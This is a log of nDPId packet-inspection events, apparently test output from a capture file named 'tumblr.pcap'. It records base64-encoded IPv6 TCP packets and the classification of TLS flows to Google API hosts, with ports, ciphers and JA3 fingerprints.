+00456{"flow_id":44,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23827,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":116603,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gD4BTACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXidvHABuwi2QmNsekZbgBAk\/+lYAAABAQgKJEeQPMLd3+Y="} +01885{"flow_id":44,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23828,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":116643,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleJ0qAcsBIEmLB5kd7IUo3\/YpAbu8cGx6RlsItkI1gBgMRA3RAAABAQgKwt3f5iRHkBS+oZTy7cr8wU3erYgNOsmutrEqUYVjAoR681Lu7vj0i4pyESd6fCm4mBevJEWSQNQQS\/YozBDUE3fxi5e5Yi0mOO14ANcj\/wRcxkXqNKVEURp5x3PUfKlpuBQQv6ddPsxLqXEuOLU3+NtzuQ4o0cD7FUq2iC2IR5C+k95BxWs\/sreJsc5TK06lTKWHzUE7TH42UtdrvZburrTbbL3wWeill9Cq5\/MYeGLC4ryu4hUI9hk3Yoez7u\/n3B8AtHoGrm\/ycKlWx8GCoyYgaHbjdkAajSQrkWRKL8duJVU+vhhDO6TLFZc4qFdt9GnGSewGozwvNi6Lt\/Xs159qJmUmCg3S5Ie04S9zZpGbR9v2IL7Bnswfq\/S2xPvUrIf+M6Ywv9s8YEZEkv4ImlkTPo8jjG8DZMknuhIkyfpfIYsGXqu+6Jtzs4YAwworqYcg4UAT8Zybcm\/43xAShfUtlrNau11FDz34IEDIPbetFEGyZ\/fQXjCkR2G65Kl0fgB3Qq82EMZuHa0veu1jkB04tTZm5KZDYv+pfts6m0bagHpg6MlvhGfM2Pe8roucnI+HcWUYssHq6wUIPwwrbYgBo1FT8NaqAq1X4iQ+mWjKXqGsyTH94w5O7v+8\/SqAhWC3j\/1bqWFZTFMiRJKDTPjaUKsFVNBhcO6netlcxCajCBInwhRVPhZ1F2FhGxQ3sDl4B\/jpq7yGZ3S0oWtInlmNtU2h0ZTVC2xQLkCdXnzRt+mLXm+TyJNVfs2QDjF5zutIRxMYAoK5L0+puQLWaHm6Uz7lklzSXGareGy\/kWmTGe\/9D\/jJYKNROXS\/J7JCt3esYBVS839uCaFazfevdWS0FQc\/tO0biiFPhG1lMSlPhmETKH78evHfhqq\/55JlMZP4skGFPleAP632oHvybJKcVnlwq0fV5JF0drqWO9e0VUIV\/uaSHMg2uCimgVsLxRFEXdTEB1f3tKpSHaHgxVnlSYi54ECAJUsEkPrU1tbNGWgZFN\/Xvx0OpUd26+nxOR7Ged29+TMCWJB5D6SJH3KGy5jUGRtP4bBvUghb28fpFBVw+1nkb+oYQv\/3VZZ+Fey8EAsHGZcfhAyCbhLj9LJetjTNBKndzo7+As8SY7WnRMeBSCWjX+qDBcZPUPD1zsTfxHA+vaUFedK8ARbmqBQlYfinmsf1MjIN8MvDLEl4m8cvJlxg0AE+znxtk72S0DWY6mZfagFKTwPcpRdCio6\/qbUr8Y2bOyoAYihcloi+4EEJCKywSF4MLWlEequtT0LfZ2IFACDV6RWLK8Vt9J2niBs2nQSAgSwA842D5iF0\/KQxW7ojIoFf\/UYQ9HyStGmxfN9DRNwgp+Lpt3++HLaPs8IJSfdZQM5GV8yERKrQmrF7ZtkwSHmxipYk2PEW"} +00457{"flow_id":44,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23829,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":116649,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gD4BTACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXidvHABuwi2QmNsekpzgBAk\/+VAAAABAQgKJEeQPMLd3+Y="} +01882{"flow_id":44,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23830,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":117233,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleJ0qAcsBIEmLB5kd7IUo3\/YpAbu8cGx6SnMItkI1gBgMRMIxAAABAQgKwt3f5iRHkBSq2iZSdr8ILnzp1ZMh6A8Oy9z8i3ZN7YtACnRvIbrWyryAuAcBFQhv6zUxUd41O5iGR3ZLHZ9jfci7ccH+b7k3efNRcEm+n4nzeA3oD83vHBgnnSHMJzdzTZ5qJi+0zMRw0sJFFCevL8pOAk4DCNhqBVMP6KwBlrRz34Ez1GGWsBvG7U9QR2NhgX\/qKZKcJDCbu3D19LShzFXYWYZh03UTR\/KmtLTdLL6Af1FeKIysAt77DL5yb49unwU\/x1YAOl98RaZmPDCALmCGtOQktN\/pzRLyQHp+gM4zU1ddw+I1ITUEqClEyGOGm3jqnaajJrHkUqrv12\/eTWR1D8PuzRlWW8zMZ3FtZV48AZBZtwAk+GoYUR1MUumdqIdtPY4cqNri5yXso3l44i9Y4u3AXkEDoO7E1H74C9wh3S6SaevunYdx\/SV88dljYifWPx\/EwpmN5+wc0Ppw+D3c91XYMhak\/dbtqt+z4UjkjqnURsSB+QG6CvYr3J63AYARovjrqBVbIV1P5MyP4oQ22ip+GmMKPUBlh8wLdnE6tAI9jSTl3ekUjJN8j\/y\/+HWMPYG9jv3mPx6WOtHSz9KLp+Ei\/nIFYgBPobqOE+7JJ3joQRjxTWZgnqCxLZgRuvnEDfWDHUiUoADE+iAtCrTKZaFjC4rGuP6kVRRVYDlEBaZ0q2itnD4qUUNqfn1Xoxw8WczUdLOIXxBAZZRfRF8BqJllbInA20NfJld2mJEyikXouIw2z0t\/fnDbI1L0\/sK9NuciB\/mXrzkrYqn7bKHXXJ+onIXQH0inao0rr4KkWaO1paP0HFORE35998\/pRCQ19T2AoFMLLbDqS+T8JBIdMkFWkiGFjbKhvMbeCn77LDTzNLOIw6AzWdCUBZ7WgYCKf4w6WvSLH95ejccfGnHlAUf0pE6kU6O3RcmgkJ6ueHWo96KTMZeJn9\/Aqsmg1\/RYGO3fOjWbwJ59VSG1qA6rUQF3tPc9AMZApkSIt8CyfQikqEAhiHlUzOR8bFjc1d96Kfef+uDySFA8tNRSyunjE8fYVwA8HJNZmquHE89A1E0xV0Td\/htxnBxJbUV30JO3HgoJXvHffmyQeHMHyw8T1G2RbgMNb0Sq5nJ8NM+vQAmX3N45bZsexOTlbZqWSwBH12EO0dnlwNFYqZZmuSArmO76XbutUN+kfBTjCnjr4036Pl2K64CfSef7OnCdBbS0PESasSJ1BsPvn+3dg\/+hnxRmXiLRjIGUEMW9tJrWSOWScSt\/3ESwLOVp6y94rTrm9WjxU2\/09g7CteJAZDN00sQMs5RwCmNmY741y\/mWYC6yV9C7q5sVMaUNZc88KhEqXGY5DKta3FStlr5if98jGKTa6XSIRaHOSBfKA5xzRriskU1ksnZ5x3Iyf0bX"} +00456{"flow_id":44,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23832,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":117250,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gD4BTACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXidvHABuwi2QmNsek6LgBAlFeERAAABAQgKJEeQPcLd3+Y="} +01884{"flow_id":44,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23833,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":118313,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleJ0qAcsBIEmLB5kd7IUo3\/YpAbu8cGx6TosItkI1gBgMRFEhAAABAQgKwt3f5iRHkBSbuTd2xOt3y3W99\/VukmrXRKv6nCQPPTQ6b5gaAAMMRLKYTPxMSPDByHASsG9mvcVjdgSoTnaXO3xxZ18+r9S3HXeQvLYjTwWTQqLhSiPM34kevfE09lPn7Vb7wRuXSkcHntt9Xb0HitcOjoOZAxql7L+JXREchOP+0v+DIUq\/Zn3Qz15soEsxx8LzAgc\/vF2yie3Xkqiv4oq\/dGGX2HJRucURMgfYThtmXtCusTf488Dg5LyFa4DqCL83x4CckRcFwX11l8qV6vevwjxyXLkSFkGPhcyb2QBfIrislh4sw56FJWTEXi8Qdj5IPHDZ5L5pJAtzcnWCNsR2UoZNJS15BRUxtk+\/+ht1F3xDSfjyYrIHj5n8q7YHV4sm9+Dzzz53aO2rxf81tTtrlHLZ4YYPc0q8Hxzgg0MRDPrTK4VAglXItVW55Zkel+KMXJKrxRrWjNHLe\/GHCWRmyT66pYeU5rGzVMmkH4uOEj8YQev\/P1LB5AsxprXbkIZDOI2qO5haIzVNtfPpahDTBqmhsuWAnpbkPFNYE2DNmLTHnzFYZ6BrJOwddLqw6U4385i\/z\/CQlc23vTPH9W5qkVFKREEjWndbDAw2SpxiAbgXuHFk\/mj8eA5apCM8nmjgnQPGXQexqYREDfhNNiAO6BHLanAaXzXxGbZ+0Fnegt9lE5gcnE87JgwjX0vh+n9IYnGbxGoFsEv\/Xuk4FD8m0xL5UYzXydUYlujNeOCFyn77YYgO4QO\/cW5Gm\/2X7UMUHKg\/pCIc7YoJ2mxhHa3HwCtjGo0bktZUYI\/uwydM5TJLveRdY9uN4b1PIAyxCpEgede7p5lCXQX3pbDSMNXmKwbvNhx7isa7yHmI2rWS4D7bmP0rKNmFUvV5ETC8qhNCHkg8yNYNc+FYvLQ3s84t51qGIAd\/fNbP+y3mkGZKeYhiO89wGdvdRADOoQi9ujAPpHT8CfhGLcZfOJJHs988MDmqO+Y2EkvlAqUkSpnic5aputfDL6vwZrxvu4lNlGH3TyvTx\/fue0VE+2pUpb7UEMBmvM9\/S7IhVAH\/28DxGdn64JQxdUdldjj5MHPeSTfneTwmy57HFFZ2ruD39Jd7GPzw2COeNWpsS8YkdObOv5EDxGQYoruc9PGnIlVihGBaDcMbz4isaUILo4livxUvAPSxVoPBenO7iAWiCSwf\/bK0wjugu3LnjHIfdxd\/03U0h+sZ8NExsI7vQ5TrfwwrLhiphK0ACoWLaXfEFSO5Ex1da+fhsTaVioOsfnJOlxJfpATTFjENJVMllrss4ZOjBTeMLRdTB2UZcI8751LqVL4Iy5iwsY4C3weeP+MrEEKG5LacjlVuI\/bq6hXRoWvmHO50w57l5pug\/qZkEEe30\/TjuKdyEscRKLJJcfDW"} +01889{"flow_id":44,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23834,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":118314,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleJ0qAcsBIEmLB5kd7IUo3\/YpAbu8cGx6UqMItkI1gBgMRA3kAAABAQgKwt3f5iRHkBTPov5De52k5fT2NNgIDvgSgrkQX5VVNG+P\/Tw6uVOxTNV+jZN3HB7ticREnLEcvuKhA40GoO3yi4wW6GobUEjf\/rXZ0cglDM815czMsh1sFZlM1t0bWX0cLMt5a2VbLsQO0PatLkkpIyou\/5JWnJEU6+KoLRuaCyw71GEBPb+G93ZbfShIhkXM5PablTQR5WfTef703gEa9Er4GOwfv32WRmUnCrBVcr7Pzw+RsRfYrGmC5ig0xx3LyW1kpvibFbjw5nMjbaK4XREHkSqXU2\/0Ihs2shSFI\/D\/fBx2C\/Y0gqc35RLpTjM7B4eyTJVyWwvDDXpp\/+8UWWwW+WKGlO46P1BABDb461FPucCDJePpeAWm5Sl8pHTT39MJq\/bIb4cseoDjTsJchCGof15fQg9oUPipolDt4UCB675ri46Z3avdXMqLih8O2Jy5NndqjXnvn08eahDrY2fvcDJ6AGdOaWa5f\/DbOejefVX7ngmq\/DSd\/LfQYU7BBRc87RvsLZpr1QOU9Iqh336gssQVXcOmuxqch2J81UQJhBvwS6x0caYbSqSzZ\/nTyJNBxmXwcynMdc1ymA2YeqxUQqnVHUGVTpuopgQ8eM31XEhbqkrFXbFQCl\/AUwMNI\/r\/BTRbokI21ctvVcvHdAttHVQwV+pMWIJqMH26sckxRQ1z8f7wq2B\/hsJt4QlPjhotmo4vns\/AGOIf90OkyyTRkwHGBswr\/UxyYp5xFMWEV6BqtMNy1EQXdGBXexHksot0Rdwxh5X9EvXDA\/uofNF3jFDaSdiIbiWy1Nx8p1OjM9jH+DYJveien\/z0Q1u9szBAguRWWz1kBYqZw6Tgsyh9o7bSAKl5cG5nMHxmtHHUigjENV7wMTmgLRyXW+V4WS\/M\/6a2Tn03VuVn\/O9AF8A4vbDgMCzNJn2J\/PeZh96qIgelP+dscxpYHd700qAxxj3I7PQ0GEzsOMqPCXqqqA0ZQz0oybqMPbnnTqaBuAtAYLOjw4kEbthtVcefp0ta4HaZh51BTyxTGdiVIfrJXKBQIybXMg73jMkPK1h1XzCSwQTrYJaBq81VLvzGh5cU2EeJFN8xS5ulbrej2IBw4OXVlrqoszBLY95F7hUUxTLA\/vBCVC7myQ2pdwG63HWRUdvGYeLbFuyF4MsWeKiwwbso7UnxHhbWMpau5ia+HF5LJvutp5UwZ5K8Jkz8xT+ifIRI4sR0DqTfU5IsbYx5omKHURlGxWbitlXDSCQI05LBKgBuCf0FpqS25vnpTi0e1I\/9+qcr0cJhRTXzJCJSY+8+70FRk3nlHGLymjO8gcHzlz1oQSFt7d8iB06nl2PxTnowJzDKQvzueajdpXitbhOc0h6A01k+9qD0RpQf7LrT\/\/wW8pkp04nkcDR22TCp"} +00469{"flow_id":45,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24118,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":163288,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPSoAFFBABwgLAAAAAAAAIAoqAcsBIEmLB5kd7IUo3\/YpAbuW0O3zbp+IuQs5oBJXgJ7NAAACBAV4AQMDAwQCCArC3d\/9EsEnyA=="} +00456{"flow_id":45,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24126,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":163315,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gD2uVACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICwAAAAAAACAKltABu4i5Cznt826ggBAB+yKbAAABAQgKEsEoDMLd3\/0="} +01151{"flow_id":45,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24188,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":163584,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gD2uVAiUGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICwAAAAAAACAKltABu4i5Cznt826ggBgB+67mAAABAQgKEsEoDMLd3\/0WAwECAAEAAfwDA7bS9qVsy5B4YR21YJQRtEh5Py7oz+4S+4EMfJZtbGRGIFTZBy5p0gziG2ybvndeac3\/kMpuKpBLUHIf7VQxlGl9ACDq6hMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZNqagAAAAAAGAAWAAATYWpheC5nb29nbGVhcGlzLmNvbQAXAAD\/AQABAAAKAAoACPr6AB0AFwAYAAsAAgEAACMAAAAQAA4ADAJoMghodHRwLzEuMQAFAAUBAAAAAAANABIAEAQDCAQEAQUDCAUFAQgGBgEAEgAAADMAKwAp+voAAQAAHQAg8WEmWZ9OWDe9\/XkTSDe85PaENProAIW9qnEE9QmUWSAALQACAQEAKwALCurqAwQDAwMCAwEAGwADAgACWloAAQAAFQDJAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00843{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":24188,"source":"tumblr.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":4,"flow_first_seen":1605292122095,"flow_last_seen":1605292122163,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:80b::200a","src_port":38608,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.GoogleServices","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"ajax.googleapis.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00456{"flow_id":43,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24197,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":165400,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgJAAAAAAAAIA4qAcsBIEmLB5kd7IUo3\/YpAbvBjCTTL5JAHmpvgBALMAhqAAABAQgKwt3gBdhbOjs="} +02097{"flow_id":43,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24239,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":177975,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgJAAAAAAAAIA4qAcsBIEmLB5kd7IUo3\/YpAbvBjCTTL5JAHmpvgBgLMGI1AAABAQgKwt3gDNhbOjsWAwMAegIAAHYDA7dV5ZkT\/mjoqceUP9u1zNMdU1SEq5DnLUlH2Q7fKNoxIOxlBCWQSXeBEkOuoY9ArjNfnRtplIaJsV3gAzrnHWtBEwEAAC4AMwAkAB0AIFAd14EV8G05iG4WF5Jgc8wLgFZzq8HEbhgNf5kJLIleACsAAgMEFAMDAAEBFwMDCdVSiO7BlWPlonlTQN8m85Uslq0LoX1xLrU6UPgTXhQ5SOVedTg5\/t+LXCLaIemAoITTMDcQqtV5GAopdvB+z0fu7pnii6ewDuEf5\/nCdQ2N87j4f6iZ4PL5BQp3LA0rW1ZfyTKM\/6m\/ZA8ZrB7cl5HG97BZL7chyw+ezEtPH8hJC\/1lxMkcFNCLYgr70dmqLA3ailXyqM0K2SZY3i+h7GFsUGQhbMDpxulbBbP4ER7\/aOksSG494SjtWgCuNEYgxVEFJ6+Mlhu1oiWZZMbO0\/2UBp1a8XJfgAaan5VbgdW3N8QLKocfh4RT51ZE8YRd+U0F8NFqmADEhL3yyFB4XqoN3o8Lk66qO2T6\/6EV+uU1fKaAE4+BaAbt3fN\/UIC5KPTqnaUqWRPYafyKzF2MkCXvtql7gv5ntQzSMqEhNqT2Jjz05JG9R9\/dJTEHhuvm+IbsZpw1Jrf3li9vmLPSMk7KJ7TgqYalMtUGEuOrdGBlRV5KS8PWda0VIjOCgwoqx590ZLcFhG75Rzq6ywXpgq3SWGE1taqTx7TZJv\/xKP7tKCaP2bCB1QMTEN6Ez3OW5YOpvcyCjo\/FNzIFgH78okExel2T+4QgWd0QDbjrXRNFEUajCCKhPorBa5eoeEC98R0TcAwDNqrsVZUdjtXAQFW6ekXkTVpy8leaysXkRcOw0Y0S5MolUe4rE3nAcr5CP5aIyBI1VLy28b5zAgdCk6zmVX0h0SXtRjLRF6N4BLemj+A0JyGmpTQrEUfgB0zekRR0ZggOFbSGHN9+VhxD3zck6ExBrFhnGB4jons+9v2envh8OMwmKxxhovk\/YIoEXKz1ukHOddZCzI7Nsx4nT0vpoitUL7Gw\/+sv8a5gx3H8qJfF23Y4ePqn8u\/oz0svy\/I25wg3gxM4rpf\/QyLuXGPaeakKLDewZmKMVrUvh\/sRWtDDph13zQBxOnqpeMhb4tXmUhgr4SK2W2e3gtDun2Kuf+IKSorxcvLPl91Ui9jvD1UdperFB\/LZiShwfaSnP1ONMU8SZZ5j6wLTeNAkxFFsHHiLfGik37czsNnSoRAI9q0b0KepNLXlXxxDpn2rNY1fWxj1dTcnqzRTh5z9j1+LAEIVMmCm+Iu4kAKF+6oBkVJh\/UL8mh4m0ssjd9y7vCFp3acKsV8PNM+s6CHbhaeELra7DN8zMImH5dMwvRIfyvdLCMZtR5qf8ALCy08yZWico1XngSvH4fowbVb6N+fBwtKcwVV9fA0mIiWrIHb4CNxtAIU3dXFpDs1gLWwDsw4qFEtTRdH7Uq5Yyw\/4qEW4I\/h0i0apQxmca0B+3inQzmqYM8sNzcH+BHAAeskclDPF6TTnEjLMGKjEU0I494WwUuvxttMSrW+v+IKH6foXccQQnOB4eEiAAmysbLAvI8AscX4BdXWVrk9lXwkhTQ=="} +00869{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":24239,"source":"tumblr.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":6,"flow_first_seen":1605292122064,"flow_last_seen":1605292122177,"flow_tot_l4_data_len":1933,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":322,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:809::200e","src_port":49548,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"apis.google.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02097{"flow_id":43,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24240,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":177977,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgJAAAAAAAAIA4qAcsBIEmLB5kd7IUo3\/YpAbvBjCTTNEpAHmpvgBgLMEYhAAABAQgKwt3gDNhbOjvMPKi94u0iRVDR1QzjNhyA0H06ssS4vl8egD6GM6ItiYkjLXAQPP1LeOkykLB5a3RlOnTQ0X5A1mwUlc6ACfy5\/1H2BdTEd9DBG8rEgFQAfKEpygTkquQsh8SAMqoCPQMpYJk\/xdli9rVHZKevzxaYQbqK144cJOXTalIQ84zZqjNKjvPHAsCRZ4Or9yPlVHJNTcUZi1xLfbWa1TSU+MmQZRf6WjHabhMb7\/sBiQPDTROeNOMEauyUwK7ulnH3bq9gEhxmnKscY\/aIljJpSefnInQEtNSjtdNUckzHuTqxfg+g0Hf9TpfBXVZwCFHXLse2qIbfe0+PdbXsy0isV9XX\/jMMLxJOci9LOVBp9kSxmP1w\/dYbsHZooKXzFMSxK1pWKdqunw\/A2mvHLcZRl+DGAwEmsct9q8EWcQg2HCxDZcvLpm5x9RzIuTxybIPQifmICRHkqoi7TlTUTyQdHuJy9uyrA5PQvvwCLM8qQ+E\/gUGVKmEiknxTaF2LqwdoYRv5LJ2rI\/SaZSp+ud0YBB0dSGXHE8PPRwX\/BSe0dfMMJkaxscLBUVeANTKafTD2VY8inHstn2pASaHPNT22vjh6wYRBKGdzLJOJAw1m7TMHAUWGo\/EPG2k7eURs0Eb7aBs5YEH4QEunonADw2QQP+SFLzU7JG2\/PlcDSHnrA32pmMP+8xTnyMdc\/6BG5xll4GmiHDjvRI5UiIkU+DaPBMOa1+Lt8vUGLy1FbqoOp\/+wntsdvnW4YKkeSFQkSdEU36jG+gtQidWOC2UMevAbPAYdN54U3WUHWT0zObA0KFrt3kdmmdXYIqGeJow876yuKYQmE1QoJK5VKoXpccZAtGzHVZBWHdaAzfHDBGQNjPTeQgFTgkjssoB3pnWTuIOzUzz9ngv\/Cu0Kv4RkXuuIBPdbOuDiF0\/BO3fqz7nO+8k2FBwNZyjr0vGLEJvli2CoQMlii9jJ2pJyr0+CqZHByj3CTUrevLTe4pDwn7FIKG2hCCGHyWMbm8z7ALpfJvzbB0f6xceVxaEzEqn+Ar7gtIEig4M+AXjjCzd7LOahEOP1PJEKV998k24J2p3PA+gmrj3DouF7fPSUkpPTLWMcAfKzNXMc75RxqWxhM9uRxjZ57FyN8qC+16iidQg3HzTjSbtDogcjoswfsQhlabL6VQNnU1+9vmxunsJCPlhELgDoWMY73RvYr\/O0Wc9Uc7vPAmz7XSm2kVAxaFUrSzxjRlkSIyFWaZtVCR+TLG9Zg37ldSvKo7hblU7aUMdKazlemhS\/MQPzGF4TQH87GwmiWA08xdGuz60yaePYCRD+AlPqBJoIKdk4lvsJCf8zJkUanbpxa7S+28AnL86KoUyVdwT9\/RAKJIolBZciQJcOS2cydOEQNmTcRPfxJe+HuIzu+gXTdizh2l9wFALJ9GW1T3rz3iLzWiBvi2RWPkNbbcpX5ZH1kKDb32Vl6E9M5YwFTv03SJBhD5h9nK4mhstXcgPnd+ma9RQ3nIkVDWmTYVH1Z5aScLgp6XMNMGmRYyw13lbW+MDb6\/6QWLjpXNZHAA3Lra\/s\/\/0IycHTjPeHBTpveplUmXsPrmsCoMhGVRE8Xl5CMj6g8TCvCQ=="} +00785{"flow_id":43,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24241,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":177978,"pkt_caplen":325,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":325,"pkt_l4_len":271,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAQ8GPSoAFFBABwgJAAAAAAAAIA4qAcsBIEmLB5kd7IUo3\/YpAbvBjCTTOQJAHmpvgBgLMMFLAAABAQgKwt3gDNhbOjuvLGCrWM0GuhwMFoagOAdsCgnddWYnAru9SgQqgTxKSgkke9r9gjF9IBhRJFAa\/PE4Da+pvNla+z7q6xvWahXPeyE0PrzkR3elfdO+yLR1sIBNo3vJ9Q1JEloutmnviFHbp2FHHltexUS5DD9Tyi7xHZPT8jKFGn\/4sjPTZoxy+Xr4j9DUQCFvZ5+0\/k1Skz0xyrJjXvAXayu0sTzZSxNjCuzKl\/svDOFlbTKw1v8fuyVJbpa+zc+OrovD\/PVbQQ+VyEM6KzoFzNAKDuEZ8sEZU8V86jPN7r0NN7TPeIjLGsRXXtNAlgMZ\/mhjg9h+ag=="} 